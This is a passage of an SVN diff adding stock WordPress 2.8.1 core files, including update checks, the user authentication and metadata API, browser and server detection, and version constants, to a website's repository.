+		$new_option->response = $response;
+	else
+		$new_option->response = array();
+
+	set_transient( 'update_plugins', $new_option );
+}
+
+/**
+ * Check theme versions against the latest versions hosted on WordPress.org.
+ *
+ * A list of all themes installed in sent to WP. Checks against the
+ * WordPress server at api.wordpress.org. Will only check if WordPress isn't
+ * installing.
+ *
+ * @package WordPress
+ * @since 2.7.0
+ * @uses $wp_version Used to notidy the WordPress version.
+ *
+ * @return mixed Returns null if update is unsupported. Returns false if check is too soon.
+ */
+function wp_update_themes( ) {
+	global $wp_version;
+
+	if( defined( 'WP_INSTALLING' ) )
+		return false;
+
+	if( !function_exists( 'get_themes' ) )
+		require_once( ABSPATH . 'wp-includes/theme.php' );
+
+	$installed_themes = get_themes( );
+	$current_theme = get_transient( 'update_themes' );
+	if ( ! is_object($current_theme) )
+		$current_theme = new stdClass;
+
+	$new_option = new stdClass;
+	$new_option->last_checked = time( );
+	$timeout = 'load-themes.php' == current_filter() ? 3600 : 43200; //Check for updated every 60 minutes if hitting the themes page, Else, check every 12 hours
+	$time_not_changed = isset( $current_theme->last_checked ) && $timeout > ( time( ) - $current_theme->last_checked );
+
+	if( $time_not_changed )
+		return false;
+
+	// Update last_checked for current to prevent multiple blocking requests if request hangs
+	$current_theme->last_checked = time();
+	set_transient( 'update_themes', $current_theme );
+
+	$current_theme->template = get_option( 'template' );
+
+	$themes = array( );
+	$themes['current_theme'] = (array) $current_theme;
+	foreach( (array) $installed_themes as $theme_title => $theme ) {
+		$themes[$theme['Stylesheet']] = array( );
+
+		foreach( (array) $theme as $key => $value ) {
+			$themes[$theme['Stylesheet']][$key] = $value;
+		}
+	}
+
+	$options = array(
+		'timeout'		=> 3,
+		'body'			=> array( 'themes' => serialize( $themes ) ),
+		'user-agent'	=> 'WordPress/' . $wp_version . '; ' . get_bloginfo( 'url' )
+	);
+
+	$raw_response = wp_remote_post( 'http://api.wordpress.org/themes/update-check/1.0/', $options );
+
+	if( is_wp_error( $raw_response ) )
+		return false;
+
+	if( 200 != $raw_response['response']['code'] )
+		return false;
+
+	$response = unserialize( $raw_response['body'] );
+	if( $response )
+		$new_option->response = $response;
+
+	set_transient( 'update_themes', $new_option );
+}
+
+function _maybe_update_core() {
+	global $wp_version;
+
+	$current = get_transient( 'update_core' );
+
+	if ( isset( $current->last_checked ) &&
+		43200 > ( time() - $current->last_checked ) &&
+		isset( $current->version_checked ) &&
+		$current->version_checked == $wp_version )
+		return;
+
+	wp_version_check();
+}
+/**
+ * Check the last time plugins were run before checking plugin versions.
+ *
+ * This might have been backported to WordPress 2.6.1 for performance reasons.
+ * This is used for the wp-admin to check only so often instead of every page
+ * load.
+ *
+ * @since 2.7.0
+ * @access private
+ */
+function _maybe_update_plugins() {
+	$current = get_transient( 'update_plugins' );
+	if ( isset( $current->last_checked ) && 43200 > ( time() - $current->last_checked ) )
+		return;
+	wp_update_plugins();
+}
+
+/**
+ * Check themes versions only after a duration of time.
+ *
+ * This is for performance reasons to make sure that on the theme version
+ * checker is not run on every page load.
+ *
+ * @since 2.7.0
+ * @access private
+ */
+function _maybe_update_themes( ) {
+	$current = get_transient( 'update_themes' );
+	if( isset( $current->last_checked ) && 43200 > ( time( ) - $current->last_checked ) )
+		return;
+
+	wp_update_themes( );
+}
+
+add_action( 'admin_init', '_maybe_update_core' );
+add_action( 'wp_version_check', 'wp_version_check' );
+
+add_action( 'load-plugins.php', 'wp_update_plugins' );
+add_action( 'load-update.php', 'wp_update_plugins' );
+add_action( 'admin_init', '_maybe_update_plugins' );
+add_action( 'wp_update_plugins', 'wp_update_plugins' );
+
+add_action( 'load-themes.php', 'wp_update_themes' );
+add_action( 'load-update.php', 'wp_update_themes' );
+add_action( 'admin_init', '_maybe_update_themes' );
+add_action( 'wp_update_themes', 'wp_update_themes' );
+
+if ( !wp_next_scheduled('wp_version_check') && !defined('WP_INSTALLING') )
+	wp_schedule_event(time(), 'twicedaily', 'wp_version_check');
+
+if ( !wp_next_scheduled('wp_update_plugins') && !defined('WP_INSTALLING') )
+	wp_schedule_event(time(), 'twicedaily', 'wp_update_plugins');
+
+if ( !wp_next_scheduled('wp_update_themes') && !defined('WP_INSTALLING') )
+	wp_schedule_event(time(), 'twicedaily', 'wp_update_themes');
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/user.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/user.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/user.php	(revision 44)
@@ -0,0 +1,603 @@
+<?php
+/**
+ * WordPress User API
+ *
+ * @package WordPress
+ */
+
+/**
+ * Authenticate user with remember capability.
+ *
+ * The credentials is an array that has 'user_login', 'user_password', and
+ * 'remember' indices. If the credentials is not given, then the log in form
+ * will be assumed and used if set.
+ *
+ * The various authentication cookies will be set by this function and will be
+ * set for a longer period depending on if the 'remember' credential is set to
+ * true.
+ *
+ * @since 2.5.0
+ *
+ * @param array $credentials Optional. User info in order to sign on.
+ * @param bool $secure_cookie Optional. Whether to use secure cookie.
+ * @return object Either WP_Error on failure, or WP_User on success.
+ */
+function wp_signon( $credentials = '', $secure_cookie = '' ) {
+	if ( empty($credentials) ) {
+		if ( ! empty($_POST['log']) )
+			$credentials['user_login'] = $_POST['log'];
+		if ( ! empty($_POST['pwd']) )
+			$credentials['user_password'] = $_POST['pwd'];
+		if ( ! empty($_POST['rememberme']) )
+			$credentials['remember'] = $_POST['rememberme'];
+	}
+
+	if ( !empty($credentials['remember']) )
+		$credentials['remember'] = true;
+	else
+		$credentials['remember'] = false;
+
+	// TODO do we deprecate the wp_authentication action?
+	do_action_ref_array('wp_authenticate', array(&$credentials['user_login'], &$credentials['user_password']));
+
+	if ( '' === $secure_cookie )
+		$secure_cookie = is_ssl() ? true : false;
+
+	global $auth_secure_cookie; // XXX ugly hack to pass this to wp_authenticate_cookie
+	$auth_secure_cookie = $secure_cookie;
+
+	add_filter('authenticate', 'wp_authenticate_cookie', 30, 3);
+
+	$user = wp_authenticate($credentials['user_login'], $credentials['user_password']);
+
+	if ( is_wp_error($user) ) {
+		if ( $user->get_error_codes() == array('empty_username', 'empty_password') ) {
+			$user = new WP_Error('', '');
+		}
+
+		return $user;
+	}
+
+	wp_set_auth_cookie($user->ID, $credentials['remember'], $secure_cookie);
+	do_action('wp_login', $credentials['user_login']);
+	return $user;
+}
+
+
+/**
+ * Authenticate the user using the username and password.
+ */
+add_filter('authenticate', 'wp_authenticate_username_password', 20, 3);
+function wp_authenticate_username_password($user, $username, $password) {
+	if ( is_a($user, 'WP_User') ) { return $user; }
+
+	if ( empty($username) || empty($password) ) {
+		$error = new WP_Error();
+
+		if ( empty($username) )
+			$error->add('empty_username', __('<strong>ERROR</strong>: The username field is empty.'));
+
+		if ( empty($password) )
+			$error->add('empty_password', __('<strong>ERROR</strong>: The password field is empty.'));
+
+		return $error;
+	}
+
+	$userdata = get_userdatabylogin($username);
+
+	if ( !$userdata ) {
+		return new WP_Error('invalid_username', sprintf(__('<strong>ERROR</strong>: Invalid username. <a href="%s" title="Password Lost and Found">Lost your password</a>?'), site_url('wp-login.php?action=lostpassword', 'login')));
+	}
+
+	$userdata = apply_filters('wp_authenticate_user', $userdata, $password);
+	if ( is_wp_error($userdata) ) {
+		return $userdata;
+	}
+
+	if ( !wp_check_password($password, $userdata->user_pass, $userdata->ID) ) {
+		return new WP_Error('incorrect_password', sprintf(__('<strong>ERROR</strong>: Incorrect password. <a href="%s" title="Password Lost and Found">Lost your password</a>?'), site_url('wp-login.php?action=lostpassword', 'login')));
+	}
+
+	$user =  new WP_User($userdata->ID);
+	return $user;
+}
+
+/**
+ * Authenticate the user using the WordPress auth cookie.
+ */
+function wp_authenticate_cookie($user, $username, $password) {
+	if ( is_a($user, 'WP_User') ) { return $user; }
+
+	if ( empty($username) && empty($password) ) {
+		$user_id = wp_validate_auth_cookie();
+		if ( $user_id )
+			return new WP_User($user_id);
+
+		global $auth_secure_cookie;
+
+		if ( $auth_secure_cookie )
+			$auth_cookie = SECURE_AUTH_COOKIE;
+		else
+			$auth_cookie = AUTH_COOKIE;
+
+		if ( !empty($_COOKIE[$auth_cookie]) )
+			return new WP_Error('expired_session', __('Please log in again.'));
+
+		// If the cookie is not set, be silent.
+	}
+
+	return $user;
+}
+
+/**
+ * Retrieve user data based on field.
+ *
+ * Use get_profile() will make a database query to get the value of the table
+ * column. The value might be cached using the query cache, but care should be
+ * taken when using the function to not make a lot of queries for retrieving
+ * user profile information.
+ *
+ * If the $user parameter is not used, then the user will be retrieved from a
+ * cookie of the user. Therefore, if the cookie does not exist, then no value
+ * might be returned. Sanity checking must be done to ensure that when using
+ * get_profile() that empty/null/false values are handled and that something is
+ * at least displayed.
+ *
+ * @since 1.5.0
+ * @uses $wpdb WordPress database object to create queries.
+ *
+ * @param string $field User field to retrieve.
+ * @param string $user Optional. User username.
+ * @return string The value in the field.
+ */
+function get_profile($field, $user = false) {
+	global $wpdb;
+	if ( !$user )
+		$user = $wpdb->escape($_COOKIE[USER_COOKIE]);
+	return $wpdb->get_var( $wpdb->prepare("SELECT $field FROM $wpdb->users WHERE user_login = %s", $user) );
+}
+
+/**
+ * Number of posts user has written.
+ *
+ * @since 0.71
+ * @uses $wpdb WordPress database object for queries.
+ *
+ * @param int $userid User ID.
+ * @return int Amount of posts user has written.
+ */
+function get_usernumposts($userid) {
+	global $wpdb;
+	$userid = (int) $userid;
+	$count = $wpdb->get_var( $wpdb->prepare("SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND ", $userid) . get_private_posts_cap_sql('post'));
+	return apply_filters('get_usernumposts', $count, $userid);
+}
+
+/**
+ * Check that the user login name and password is correct.
+ *
+ * @since 0.71
+ * @todo xmlrpc only. Maybe move to xmlrpc.php.
+ *
+ * @param string $user_login User name.
+ * @param string $user_pass User password.
+ * @return bool False if does not authenticate, true if username and password authenticates.
+ */
+function user_pass_ok($user_login, $user_pass) {
+	$user = wp_authenticate($user_login, $user_pass);
+	if ( is_wp_error($user) )
+		return false;
+
+	return true;
+}
+
+//
+// User option functions
+//
+
+/**
+ * Retrieve user option that can be either global, user, or blog.
+ *
+ * If the user ID is not given, then the current user will be used instead. If
+ * the user ID is given, then the user data will be retrieved. The filter for
+ * the result, will also pass the original option name and finally the user data
+ * object as the third parameter.
+ *
+ * The option will first check for the non-global name, then the global name,
+ * and if it still doesn't find it, it will try the blog option. The option can
+ * either be modified or set by a plugin.
+ *
+ * @since 2.0.0
+ * @uses $wpdb WordPress database object for queries.
+ * @uses apply_filters() Calls 'get_user_option_$option' hook with result,
+ *		option parameter, and user data object.
+ *
+ * @param string $option User option name.
+ * @param int $user Optional. User ID.
+ * @param bool $check_blog_options Whether to check for an option in the options table if a per-user option does not exist. Default is true.
+ * @return mixed
+ */
+function get_user_option( $option, $user = 0, $check_blog_options = true ) {
+	global $wpdb;
+
+	$option = preg_replace('|[^a-z0-9_]|i', '', $option);
+	if ( empty($user) )
+		$user = wp_get_current_user();
+	else
+		$user = get_userdata($user);
+
+	if ( isset( $user->{$wpdb->prefix . $option} ) ) // Blog specific
+		$result = $user->{$wpdb->prefix . $option};
+	elseif ( isset( $user->{$option} ) ) // User specific and cross-blog
+		$result = $user->{$option};
+	elseif ( $check_blog_options ) // Blog global
+		$result = get_option( $option );
+	else
+		$result = false;
+
+	return apply_filters("get_user_option_{$option}", $result, $option, $user);
+}
+
+/**
+ * Update user option with global blog capability.
+ *
+ * User options are just like user metadata except that they have support for
+ * global blog options. If the 'global' parameter is false, which it is by default
+ * it will prepend the WordPress table prefix to the option name.
+ *
+ * @since 2.0.0
+ * @uses $wpdb WordPress database object for queries
+ *
+ * @param int $user_id User ID
+ * @param string $option_name User option name.
+ * @param mixed $newvalue User option value.
+ * @param bool $global Optional. Whether option name is blog specific or not.
+ * @return unknown
+ */
+function update_user_option( $user_id, $option_name, $newvalue, $global = false ) {
+	global $wpdb;
+	if ( !$global )
+		$option_name = $wpdb->prefix . $option_name;
+	return update_usermeta( $user_id, $option_name, $newvalue );
+}
+
+/**
+ * Get users for the blog.
+ *
+ * For setups that use the multi-blog feature. Can be used outside of the
+ * multi-blog feature.
+ *
+ * @since 2.2.0
+ * @uses $wpdb WordPress database object for queries
+ * @uses $blog_id The Blog id of the blog for those that use more than one blog
+ *
+ * @param int $id Blog ID.
+ * @return array List of users that are part of that Blog ID
+ */
+function get_users_of_blog( $id = '' ) {
+	global $wpdb, $blog_id;
+	if ( empty($id) )
+		$id = (int) $blog_id;
+	$users = $wpdb->get_results( "SELECT user_id, user_id AS ID, user_login, display_name, user_email, meta_value FROM $wpdb->users, $wpdb->usermeta WHERE {$wpdb->users}.ID = {$wpdb->usermeta}.user_id AND meta_key = '{$wpdb->prefix}capabilities' ORDER BY {$wpdb->usermeta}.user_id" );
+	return $users;
+}
+
+//
+// User meta functions
+//
+
+/**
+ * Remove user meta data.
+ *
+ * @since 2.0.0
+ * @uses $wpdb WordPress database object for queries.
+ *
+ * @param int $user_id User ID.
+ * @param string $meta_key Metadata key.
+ * @param mixed $meta_value Metadata value.
+ * @return bool True deletion completed and false if user_id is not a number.
+ */
+function delete_usermeta( $user_id, $meta_key, $meta_value = '' ) {
+	global $wpdb;
+	if ( !is_numeric( $user_id ) )
+		return false;
+	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
+
+	if ( is_array($meta_value) || is_object($meta_value) )
+		$meta_value = serialize($meta_value);
+	$meta_value = trim( $meta_value );
+
+	if ( ! empty($meta_value) )
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s AND meta_value = %s", $user_id, $meta_key, $meta_value) );
+	else
+		$wpdb->query( $wpdb->prepare("DELETE FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+
+	wp_cache_delete($user_id, 'users');
+
+	return true;
+}
+
+/**
+ * Retrieve user metadata.
+ *
+ * If $user_id is not a number, then the function will fail over with a 'false'
+ * boolean return value. Other returned values depend on whether there is only
+ * one item to be returned, which be that single item type. If there is more
+ * than one metadata value, then it will be list of metadata values.
+ *
+ * @since 2.0.0
+ * @uses $wpdb WordPress database object for queries.
+ *
+ * @param int $user_id User ID
+ * @param string $meta_key Optional. Metadata key.
+ * @return mixed
+ */
+function get_usermeta( $user_id, $meta_key = '') {
+	global $wpdb;
+	$user_id = (int) $user_id;
+
+	if ( !$user_id )
+		return false;
+
+	if ( !empty($meta_key) ) {
+		$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
+		$user = wp_cache_get($user_id, 'users');
+		// Check the cached user object
+		if ( false !== $user && isset($user->$meta_key) )
+			$metas = array($user->$meta_key);
+		else
+			$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+	} else {
+		$metas = $wpdb->get_col( $wpdb->prepare("SELECT meta_value FROM $wpdb->usermeta WHERE user_id = %d", $user_id) );
+	}
+
+	if ( empty($metas) ) {
+		if ( empty($meta_key) )
+			return array();
+		else
+			return '';
+	}
+
+	$metas = array_map('maybe_unserialize', $metas);
+
+	if ( count($metas) == 1 )
+		return $metas[0];
+	else
+		return $metas;
+}
+
+/**
+ * Update metadata of user.
+ *
+ * There is no need to serialize values, they will be serialized if it is
+ * needed. The metadata key can only be a string with underscores. All else will
+ * be removed.
+ *
+ * Will remove the metadata, if the meta value is empty.
+ *
+ * @since 2.0.0
+ * @uses $wpdb WordPress database object for queries
+ *
+ * @param int $user_id User ID
+ * @param string $meta_key Metadata key.
+ * @param mixed $meta_value Metadata value.
+ * @return bool True on successful update, false on failure.
+ */
+function update_usermeta( $user_id, $meta_key, $meta_value ) {
+	global $wpdb;
+	if ( !is_numeric( $user_id ) )
+		return false;
+	$meta_key = preg_replace('|[^a-z0-9_]|i', '', $meta_key);
+
+	/** @todo Might need fix because usermeta data is assumed to be already escaped */
+	if ( is_string($meta_value) )
+		$meta_value = stripslashes($meta_value);
+	$meta_value = maybe_serialize($meta_value);
+
+	if (empty($meta_value)) {
+		return delete_usermeta($user_id, $meta_key);
+	}
+
+	$cur = $wpdb->get_row( $wpdb->prepare("SELECT * FROM $wpdb->usermeta WHERE user_id = %d AND meta_key = %s", $user_id, $meta_key) );
+	if ( !$cur )
+		$wpdb->insert($wpdb->usermeta, compact('user_id', 'meta_key', 'meta_value') );
+	else if ( $cur->meta_value != $meta_value )
+		$wpdb->update($wpdb->usermeta, compact('meta_value'), compact('user_id', 'meta_key') );
+	else
+		return false;
+
+	wp_cache_delete($user_id, 'users');
+
+	return true;
+}
+
+//
+// Private helper functions
+//
+
+/**
+ * Setup global user vars.
+ *
+ * Used by set_current_user() for back compat. Might be deprecated in the
+ * future.
+ *
+ * @since 2.0.4
+ * @global string $userdata User description.
+ * @global string $user_login The user username for logging in
+ * @global int $user_level The level of the user
+ * @global int $user_ID The ID of the user
+ * @global string $user_email The email address of the user
+ * @global string $user_url The url in the user's profile
+ * @global string $user_pass_md5 MD5 of the user's password
+ * @global string $user_identity The display name of the user
+ *
+ * @param int $user_id Optional. User ID to setup global data.
+ */
+function setup_userdata($user_id = '') {
+	global $user_login, $userdata, $user_level, $user_ID, $user_email, $user_url, $user_pass_md5, $user_identity;
+
+	if ( '' == $user_id )
+		$user = wp_get_current_user();
+	else
+		$user = new WP_User($user_id);
+
+	if ( 0 == $user->ID )
+		return;
+
+	$userdata = $user->data;
+	$user_login	= $user->user_login;
+	$user_level	= (int) isset($user->user_level) ? $user->user_level : 0;
+	$user_ID	= (int) $user->ID;
+	$user_email	= $user->user_email;
+	$user_url	= $user->user_url;
+	$user_pass_md5	= md5($user->user_pass);
+	$user_identity	= $user->display_name;
+}
+
+/**
+ * Create dropdown HTML content of users.
+ *
+ * The content can either be displayed, which it is by default or retrieved by
+ * setting the 'echo' argument. The 'include' and 'exclude' arguments do not
+ * need to be used; all users will be displayed in that case. Only one can be
+ * used, either 'include' or 'exclude', but not both.
+ *
+ * The available arguments are as follows:
+ * <ol>
+ * <li>show_option_all - Text to show all and whether HTML option exists.</li>
+ * <li>show_option_none - Text for show none and whether HTML option exists.
+ *     </li>
+ * <li>orderby - SQL order by clause for what order the users appear. Default is
+ * 'display_name'.</li>
+ * <li>order - Default is 'ASC'. Can also be 'DESC'.</li>
+ * <li>include - User IDs to include.</li>
+ * <li>exclude - User IDs to exclude.</li>
+ * <li>multi - Default is 'false'. Whether to skip the ID attribute on the 'select' element.</li>
+ * <li>show - Default is 'display_name'. User table column to display. If the selected item is empty then the user_login will be displayed in parentesis</li>
+ * <li>echo - Default is '1'. Whether to display or retrieve content.</li>
+ * <li>selected - Which User ID is selected.</li>
+ * <li>name - Default is 'user'. Name attribute of select element.</li>
+ * <li>class - Class attribute of select element.</li>
+ * </ol>
+ *
+ * @since 2.3.0
+ * @uses $wpdb WordPress database object for queries
+ *
+ * @param string|array $args Optional. Override defaults.
+ * @return string|null Null on display. String of HTML content on retrieve.
+ */
+function wp_dropdown_users( $args = '' ) {
+	global $wpdb;
+	$defaults = array(
+		'show_option_all' => '', 'show_option_none' => '',
+		'orderby' => 'display_name', 'order' => 'ASC',
+		'include' => '', 'exclude' => '', 'multi' => 0,
+		'show' => 'display_name', 'echo' => 1,
+		'selected' => 0, 'name' => 'user', 'class' => ''
+	);
+
+	$defaults['selected'] = is_author() ? get_query_var( 'author' ) : 0;
+
+	$r = wp_parse_args( $args, $defaults );
+	extract( $r, EXTR_SKIP );
+
+	$query = "SELECT * FROM $wpdb->users";
+
+	$query_where = array();
+
+	if ( is_array($include) )
+		$include = join(',', $include);
+	$include = preg_replace('/[^0-9,]/', '', $include); // (int)
+	if ( $include )
+		$query_where[] = "ID IN ($include)";
+
+	if ( is_array($exclude) )
+		$exclude = join(',', $exclude);
+	$exclude = preg_replace('/[^0-9,]/', '', $exclude); // (int)
+	if ( $exclude )
+		$query_where[] = "ID NOT IN ($exclude)";
+
+	if ( $query_where )
+		$query .= " WHERE " . join(' AND', $query_where);
+
+	$query .= " ORDER BY $orderby $order";
+
+	$users = $wpdb->get_results( $query );
+
+	$output = '';
+	if ( !empty($users) ) {
+		$id = $multi ? "" : "id='$name'";
+
+		$output = "<select name='$name' $id class='$class'>\n";
+
+		if ( $show_option_all )
+			$output .= "\t<option value='0'>$show_option_all</option>\n";
+
+		if ( $show_option_none )
+			$output .= "\t<option value='-1'>$show_option_none</option>\n";
+
+		foreach ( (array) $users as $user ) {
+			$user->ID = (int) $user->ID;
+			$_selected = $user->ID == $selected ? " selected='selected'" : '';
+			$display = !empty($user->$show) ? $user->$show : '('. $user->user_login . ')';
+			$output .= "\t<option value='$user->ID'$_selected>" . esc_html($display) . "</option>\n";
+		}
+
+		$output .= "</select>";
+	}
+
+	$output = apply_filters('wp_dropdown_users', $output);
+
+	if ( $echo )
+		echo $output;
+
+	return $output;
+}
+
+/**
+ * Add user meta data as properties to given user object.
+ *
+ * The finished user data is cached, but the cache is not used to fill in the
+ * user data for the given object. Once the function has been used, the cache
+ * should be used to retrieve user data. The purpose seems then to be to ensure
+ * that the data in the object is always fresh.
+ *
+ * @access private
+ * @since 2.5.0
+ * @uses $wpdb WordPress database object for queries
+ *
+ * @param object $user The user data object.
+ */
+function _fill_user( &$user ) {
+	global $wpdb;
+
+	$show = $wpdb->hide_errors();
+	$metavalues = $wpdb->get_results($wpdb->prepare("SELECT meta_key, meta_value FROM $wpdb->usermeta WHERE user_id = %d", $user->ID));
+	$wpdb->show_errors($show);
+
+	if ( $metavalues ) {
+		foreach ( (array) $metavalues as $meta ) {
+			$value = maybe_unserialize($meta->meta_value);
+			$user->{$meta->meta_key} = $value;
+		}
+	}
+
+	$level = $wpdb->prefix . 'user_level';
+	if ( isset( $user->{$level} ) )
+		$user->user_level = $user->{$level};
+
+	// For backwards compat.
+	if ( isset($user->first_name) )
+		$user->user_firstname = $user->first_name;
+	if ( isset($user->last_name) )
+		$user->user_lastname = $user->last_name;
+	if ( isset($user->description) )
+		$user->user_description = $user->description;
+
+	wp_cache_add($user->ID, $user, 'users');
+	wp_cache_add($user->user_login, $user->ID, 'userlogins');
+	wp_cache_add($user->user_email, $user->ID, 'useremail');
+	wp_cache_add($user->user_nicename, $user->ID, 'userslugs');
+}
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/vars.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/vars.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/vars.php	(revision 44)
@@ -0,0 +1,83 @@
+<?php
+/**
+ * Creates common globals for the rest of WordPress
+ *
+ * Sets $pagenow global which is the current page. Checks
+ * for the browser to set which one is currently being used.
+ *
+ * Detects which user environment WordPress is being used on.
+ * Only attempts to check for Apache and IIS. Two web servers
+ * with known permalink capability.
+ *
+ * @package WordPress
+ */
+
+// On which page are we ?
+if ( is_admin() ) {
+	// wp-admin pages are checked more carefully
+	preg_match('#/wp-admin/?(.*?)$#i', $PHP_SELF, $self_matches);
+	$pagenow = $self_matches[1];
+	$pagenow = preg_replace('#\?.*?$#', '', $pagenow);
+	if ( '' === $pagenow || 'index' === $pagenow || 'index.php' === $pagenow ) {
+		$pagenow = 'index.php';
+	} else {
+		preg_match('#(.*?)(/|$)#', $pagenow, $self_matches);
+		$pagenow = strtolower($self_matches[1]);
+		if ( '.php' !== substr($pagenow, -4, 4) )
+			$pagenow .= '.php'; // for Options +Multiviews: /wp-admin/themes/index.php (themes.php is queried)
+	}
+} else {
+	if ( preg_match('#([^/]+\.php)([?/].*?)?$#i', $PHP_SELF, $self_matches) )
+		$pagenow = strtolower($self_matches[1]);
+	else
+		$pagenow = 'index.php';
+}
+
+// Simple browser detection
+$is_lynx = $is_gecko = $is_winIE = $is_macIE = $is_opera = $is_NS4 = $is_safari = $is_chrome = $is_iphone = false;
+
+if (strpos($_SERVER['HTTP_USER_AGENT'], 'Lynx') !== false) {
+	$is_lynx = true;
+} elseif ( strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'chrome') !== false ) {
+	$is_chrome = true;
+} elseif ( strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'safari') !== false ) {
+	$is_safari = true;
+} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'Gecko') !== false) {
+	$is_gecko = true;
+} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'Win') !== false) {
+	$is_winIE = true;
+} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'MSIE') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'Mac') !== false) {
+	$is_macIE = true;
+} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'Opera') !== false) {
+	$is_opera = true;
+} elseif (strpos($_SERVER['HTTP_USER_AGENT'], 'Nav') !== false && strpos($_SERVER['HTTP_USER_AGENT'], 'Mozilla/4.') !== false) {
+	$is_NS4 = true;
+}
+
+if ( $is_safari && strpos(strtolower($_SERVER['HTTP_USER_AGENT']), 'mobile') !== false )
+	$is_iphone = true;
+
+$is_IE = ( $is_macIE || $is_winIE );
+
+// Server detection
+
+/**
+ * Whether the server software is Apache or something else
+ * @global bool $is_apache
+ */
+$is_apache = (strpos($_SERVER['SERVER_SOFTWARE'], 'Apache') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'LiteSpeed') !== false);
+
+/**
+ * Whether the server software is IIS or something else
+ * @global bool $is_IIS
+ */
+$is_IIS = (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS') !== false || strpos($_SERVER['SERVER_SOFTWARE'], 'ExpressionDevServer') !== false);
+
+/**
+ * Whether the server software is IIS 7.X
+ * @global bool $is_iis7
+ */
+$is_iis7 = (strpos($_SERVER['SERVER_SOFTWARE'], 'Microsoft-IIS/7.') !== false);
+
+
+?>
Index: /trunk/www.guidonia.net/wp/wp-includes/version.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/version.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/version.php	(revision 44)
@@ -0,0 +1,34 @@
+<?php
+/**
+ * This holds the version number in a separate file so we can bump it without cluttering the SVN
+ */
+
+/**
+ * The WordPress version string
+ *
+ * @global string $wp_version
+ */
+$wp_version = '2.8.1';
+
+/**
+ * Holds the WordPress DB revision, increments when changes are made to the WordPress DB schema.
+ *
+ * @global int $wp_db_version
+ */
+$wp_db_version = 11548;
+
+/**
+ * Holds the TinyMCE version
+ *
+ * @global string $tinymce_version
+ */
+$tinymce_version = '3241-1141';
+
+/**
+ * Holds the cache manifest version
+ *
+ * @global string $manifest_version
+ */
+$manifest_version = '20090616';
+
+$wp_local_package = 'it_IT';
Index: /trunk/www.guidonia.net/wp/wp-includes/widgets.php
===================================================================
--- /trunk/www.guidonia.net/wp/wp-includes/widgets.php	(revision 44)
+++ /trunk/www.guidonia.net/wp/wp-includes/widgets.php	(revision 44)
@@ -0,0 +1,1283 @@
+<?php
+/**
+ * API for creating dynamic sidebar without hardcoding functionality into
+ * themes. Includes both internal WordPress routines and theme use routines.
+ *
+ * This functionality was found in a plugin before WordPress 2.2 release which
+ * included it in the core from that point on.
+ *
+ * @link http://codex.wordpress.org/Plugins/WordPress_Widgets WordPress Widgets
+ * @link http://codex.wordpress.org/Plugins/WordPress_Widgets_Api Widgets API
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ */
+
+/**
+ * This class must be extended for each widget and WP_Widget::widget(), WP_Widget::update()
+ * and WP_Widget::form() need to be over-ridden.
+ *
+ * @package WordPress
+ * @subpackage Widgets
+ * @since 2.8
+ */
+class WP_Widget {
+
+	var $id_base;			// Root id for all widgets of this type.
+	var $name;				// Name for this widget type.
+	var $widget_options;	// Option array passed to wp_register_sidebar_widget()
+	var $control_options;	// Option array passed to wp_register_widget_control()
+
+	var $number = false;	// Unique ID number of the current instance.
+	var $id = false;		// Unique ID string of the current instance (id_base-number)
+	var $updated = false;	// Set true when we update the data after a POST submit - makes sure we don't do it twice.
+
+	// Member functions that you must over-ride.
+
+	/** Echo the widget content.
+	 *
+	 * Subclasses should over-ride this function to generate their widget code.
+	 *
+	 * @param array $args Display arguments including before_title, after_title, before_widget, and after_widget.
+	 * @param array $instance The settings for the particular instance of the widget
+	 */
+	function widget($args, $instance) {
+		die('function WP_Widget::widget() must be over-ridden in a sub-class.');
+	}
+
+	/** Update a particular instance.
+	 *
+	 * This function should check that $new_instance is set correctly.
+	 * The newly calculated value of $instance should be returned.
+	 * If "false" is returned, the instance won't be saved/updated.
+	 *
+	 * @param array $new_instance New settings for this instance as input by the user via form()
+	 * @param array $old_instance Old settings for this instance
+	 * @return array Settings to save or bool false to cancel saving
+	 */
+	function update($new_instance, $old_instance) {
+		return $new_instance;
+	}
+
+	/** Echo the settings update form
+	 *
+	 * @param array $instance Current settings
+	 */
+	function form($instance) {
+		echo '<p class="no-options-widget">' . __('There are no options for this widget.') . '</p>';
+		return 'noform';
+	}
+
+	// Functions you'll need to call.
+
+	/**
+	 * PHP4 constructor
+	 */
+	function WP_Widget( $id_base = false, $name, $widget_options = array(), $control_options = array() ) {
+		$this->__construct( $id_base, $name, $widget_options, $control_options );
+	}
+
+	/**
+	 * PHP5 constructor
+	 *
+	 * @param string $id_base Optional Base ID for the widget, lower case,
+	 * if left empty a portion of the widget's class name will be used. Has to be unique.
+	 * @param string $name Name for the widget displayed on the configuration page.
+	 * @param array $widget_options Optional Passed to wp_register_sidebar_widget()
+	 *	 - description: shown on the configuration page
+	 *	 - classname
+	 * @param array $control_options Optional Passed to wp_register_widget_control()
+	 *	 - width: required if more than 250px
+	 *	 - height: currently not used but may be needed in the future
+	 */
